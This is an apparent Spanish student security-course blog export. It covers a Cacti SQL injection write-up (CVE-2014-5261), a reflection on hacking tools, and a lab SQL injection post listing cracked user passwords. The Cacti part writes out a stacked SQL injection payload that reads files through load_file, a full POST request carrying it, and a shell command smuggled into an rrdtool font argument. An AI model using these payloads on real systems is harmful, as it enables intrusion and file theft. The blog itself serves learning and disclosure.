<span id="docs-internal-guid-a55ad48d-8bf1-77b9-00d8-b139b3bcb9d3"><span style="font-family: Georgia, Times New Roman, serif;"><span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">Por último intentamos una inyección Sql Cacti directa sobre la vulnerabilidad</span><span style="background-color: #f6f7f8; color: #141823; font-size: 16px; line-height: 1.38; vertical-align: baseline; white-space: pre-wrap;"> </span><a href="https://www.cvedetails.com/cve/CVE-2014-5261/" style="line-height: 1.38; text-decoration: none;"><span style="background-color: #f6f7f8; color: #1155cc; font-size: 16px; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">https://www.cvedetails.com/cve/CVE-2014-5261/</span></a></span></span></div>
<span id="docs-internal-guid-a55ad48d-8bf1-77b9-00d8-b139b3bcb9d3"><span style="font-family: Georgia, Times New Roman, serif;">
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">Al acceder a la página cacti/graph_settings.php se observa en el log la siguiente llamada sql</span></div>
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8')</span></div>
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">La inyección se puede entonces hacer en el valor size (8) engañando al mysql, por ejemplo</span></div>
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '</span><span style="background-color: #f6f7f8; color: #141823; font-size: 16px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">8'); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt');# </span><span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">‘)</span></div>
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">En cursiva la parte que hay que inyectar.</span></div>
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">De esa manera se podrían ejecutar los comandos sql que queramos. La llamada ha de ser POST, por ejemplo:</span></div>
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">$post=”__csrf_magic=sid%3A2abf8de6c37e3f3b60dad64b1ca11a8b699ec66d%2C1445433992&default_rra_id=1&default_view_mode=1&default_timespan=7&default_timeshift=7&first_weekdayid=1&day_shift_start=07%3A00&day_shift_end=18%3A00&default_date_format=4&default_datechar=1&page_refresh=300&default_height=100&default_width=300&num_columns=2&default_tree_id=1&default_tree_view_mode=2&treeview_graphs_per_page=10&default_dual_pane_width=200&preview_graphs_per_page=10&list_graphs_per_page=30&custom_fonts=on&title_size=12&title_font=&legend_size=10&legend_font=&axis_size=8&axis_font=sdfsdf</span><span style="background-color: #f6f7f8; color: #141823; font-size: 16px; line-height: 1.38; vertical-align: baseline; white-space: pre-wrap;">&</span><span style="background-color: #f6f7f8; color: #141823; font-size: 16px; font-weight: 700; line-height: 1.38; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">unit_size</span><span style="background-color: #f6f7f8; color: #141823; font-size: 16px; line-height: 1.38; vertical-align: baseline; white-space: pre-wrap;">=8’); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt';#”;</span></div>
<div style="text-align: justify;">
<br /></div>
<div dir="ltr" style="margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<div style="line-height: 1.38;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">Se inyecta el parámetro unit_size</span></div>
<div style="line-height: 1.38;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div style="line-height: 1.38;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;">Al mismo tiempo tenemos en el log de cacti la llamada a la <b>rrdtool</b></span></div>
<div style="line-height: 1.38;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<span style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; text-align: start;">10/22/2015 05:11:04 AM - WEBLOG: Poller[0] CACTI2RRD: /usr/bin/rrdtool graph - --imgformat=PNG --start=1445418663 --end=1445505063 --title='Localhost - Processes' --base=1000 --height=120 --width=500 --alt-autoscale-max --lower-limit='0' COMMENT:"From 2015/10/21 05\:11\:03 To 2015/10/22 05\:11\:03\c" COMMENT:" \n" --vertical-label='processes' --slope-mode --font TITLE:12:'sfs' --font AXIS:8f:'sdfsdf' --font LEGEND:10:'sdfsf' <b>--font UNIT:8:'sdfdsf'</b> DEF:a="/var/www/cacti/rra/localhost_proc_11.rrd":'proc':AVERAGE AREA:a#F51D30FF:"Running Processes" GPRINT:a:LAST:"Current\:%8.0lf" GPRINT:a:AVERAGE:"Average\:%8.0lf" GPRINT:a:MAX:"Maximum\:%8.0lf\n"</span></div>
<div style="text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
</span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px; text-align: right;">
<b>De nuevo en cualquier size pueden inyectarse comandos shell</b><br />
<b><br /></b>
<span style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;">10/22/2015 05:11:04 AM - WEBLOG: Poller[0] CACTI2RRD: /usr/bin/rrdtool graph - --imgformat=PNG --start=1445418663 --end=1445505063 --title='Localhost - Processes' --base=1000 --height=120 --width=500 --alt-autoscale-max --lower-limit='0' COMMENT:"From 2015/10/21 05\:11\:03 To 2015/10/22 05\:11\:03\c" COMMENT:" \n" --vertical-label='processes' --slope-mode --font TITLE:12:'sfs' --font AXIS:8f:'sdfsdf' --font LEGEND:10:'sdfsf'<b> --font UNIT:8; ls /var/www #:'sdfdsf' </b>DEF:a="/var/www/cacti/rra/localhost_proc_11.rrd":'proc':AVERAGE AREA:a#F51D30FF:"Running Processes" GPRINT:a:LAST:"Current\:%8.0lf" GPRINT:a:AVERAGE:"Average\:%8.0lf" GPRINT:a:MAX:"Maximum\:%8.0lf\n"</span><br />
<span style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;"><br /></span>
<span style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;"><br /></span>
<span style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;"><br /></span>
<b>REFLEXIÓN FINAL</b><br />
<b><br /></b></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px; text-align: justify;">
Destaco lo sugerente de plantear el aprendizaje como un reto a realizar en equipo, pues se aprende tanto individualmente al aceptar el desafío como en equipo al comentar y compartir los conocimientos con el objetivo de ganar. Queda la facilidad con que muchos servidores mal administrados pueden invadirse y el daño que con pocos conocimientos se puede hacer (cuanto más con un conocimiento avanzado), por lo que se muestra necesario del todo publicitar tanto las vulnerabilidades como los mecanismos para explotarlas para que los sitios de internet se hagan cargo y pongan remedio.</div>
josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-14749576491264570222015-09-29T10:37:00.004-07:002015-09-29T10:39:53.378-07:002.4. Reflexión<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 1.2em; font-stretch: normal; line-height: 1.4em; margin: 0px 0px 10px;">
<br /></div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; text-align: justify;">
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">Bien, parece claro que herramientas hay para poner en jaque la seguridad de cualquier sitio en Internet, o al menos de aquellos que no se preocupen por su seguridad. De entrada, por lo tanto, parece interesante que todo el mundo sea consciente de esto para que al menos se les active la alerta y pongan los medios para protegerse.</span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">Como ejemplo de unas cuantas herramientas básicas para preocupar a cualquiera tenemos el ping, whois y sobre todo nmap. Podemos así averiguar si un host está activo, quién lo gestiona (para mediante ingeniería social sacarle información útil) y a qué vulnerabilidades puede estar expuesto en función de los servicios que tenga instalados. Usando por otro lado herramientas como Wireshark (u otras) podemos capturar tráfico de red que nos permita obtener información sensible de conexiones telnet (no tanto de SSH). Apostar por canales encriptados se muestra entonces necesario, y cuanta más encriptación mejor.</span></div>
</div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; text-align: justify;">
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">Precisamente el uso de algoritmos de encriptación o creación de hashes antiguos o débiles puede hacer que los hackers sean capaces de obtener esa información sensible con técnicas como SQL injection para obtener los hashes de las contraseñas de los usuarios de una base de datos, lo que unido a programas crackeadores como John the Ripper (y otros) puede llevarnos a obtener las contraseñas.</span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
</div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; text-align: justify;">
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">Esto significa que si no cuidamos la seguridad de nuestros sistemas debemos atenernos a las consecuencias (aunque tengamos razón legal) pues es lo mismo que no cuidar la seguridad de tu casa. Podrás denunciar al ladrón pero la culpa es en parte tuya por dejar la puerta abierta.</span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
</div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; text-align: justify;">
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif; line-height: 25.6px;">Se debe permitir entonces el uso y creación de estas herramientas o no? Si hablamos de pura creatividad informática me parece claro que sí, pues todo lo que sea comprender mejor un sistema redunda en su mejoría, al tiempo que alerta de las debilidades y puede ser la base para el desarrollo de otros códigos útiles en otros contextos. Si debe ser algo controlado o no la respuesta es igual de clara: se intentará controlar (por motivos económicos o de seguridad militar) pero la libertad en internet hará que sea algo imposible de acotar, y esto es bueno.</span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif; line-height: 25.6px;"><br /></span></div>
</div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; text-align: justify;">
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">Como curiosidad señalar que posiblemente la serie Mr. Robot gira en torno a estos temas.</span></div>
</div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em;">
<br /></div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em;">
<br /></div>
<div style="background-color: white; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em;">
<br /></div>
josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-76390901093195420662015-09-29T09:31:00.000-07:002015-09-29T13:34:38.624-07:00SQL injection<div>
<span style="font-family: Courier New;">Tras instalar correctamente la unidad virtual y loguear extraemos los hashes md5 de los usuarios:</span></div>
<div>
<span style="font-family: Courier New;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlV-iGu_XH1m04NNn3u9m9rLRG0LLRdTDGNJjQdnPnLGBi3tM_BifpFg4huAqM-wjulN31FAQY2nqLoqZRJUsWClMFwpnj266lv-rAfePF8VHgQzmDeJYOgQ_tvzWhcjTXGsiJASAuR04/s1600/sqluserspass.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="462" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlV-iGu_XH1m04NNn3u9m9rLRG0LLRdTDGNJjQdnPnLGBi3tM_BifpFg4huAqM-wjulN31FAQY2nqLoqZRJUsWClMFwpnj266lv-rAfePF8VHgQzmDeJYOgQ_tvzWhcjTXGsiJASAuR04/s640/sqluserspass.jpg" width="640" /></a></div>
<div>
<span style="font-family: Courier New;"><br /></span></div>
<div>
<span style="font-family: 'Courier New';">Usando John the Ripper sacamos que la contraseña para admin (y para Bob) es password.</span></div>
<div>
<span style="font-family: 'Courier New';"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<span style="font-family: 'Courier New';"><br /></span></div>
<div>
<span style="font-family: 'Courier New';"><br /></span></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3PpnnMWiGdrJEGMNM8oyj5OMTI3zHHWrtN6trMOTedZIN4_L9bOfM_zHWX4wO0apglPStnz2y0pJ1BMNLwIU72GeG3LM_oVG08FzT3Vrs66zS4iEPHPagN7Gi2rfe6ErpDlZpIqe-x94/s1600/hashes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="94" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3PpnnMWiGdrJEGMNM8oyj5OMTI3zHHWrtN6trMOTedZIN4_L9bOfM_zHWX4wO0apglPStnz2y0pJ1BMNLwIU72GeG3LM_oVG08FzT3Vrs66zS4iEPHPagN7Gi2rfe6ErpDlZpIqe-x94/s640/hashes.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Para </div>
<div class="separator" style="clear: both; text-align: justify;">
Gordon abc123</div>
<div class="separator" style="clear: both; text-align: justify;">
Hack charley</div>
<div class="separator" style="clear: both; text-align: justify;">
Pablo letmein</div>
<span style="font-family: 'Courier New';"><br /></span></div>
<div>
<b><span style="color: white; font-family: Arial; font-size: medium;">John the Ripper</span></b><span style="font-family: Courier New;"> </span><b><span style="color: white; font-family: Arial; font-size: medium;">John the Ripper</span></b></div>
josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0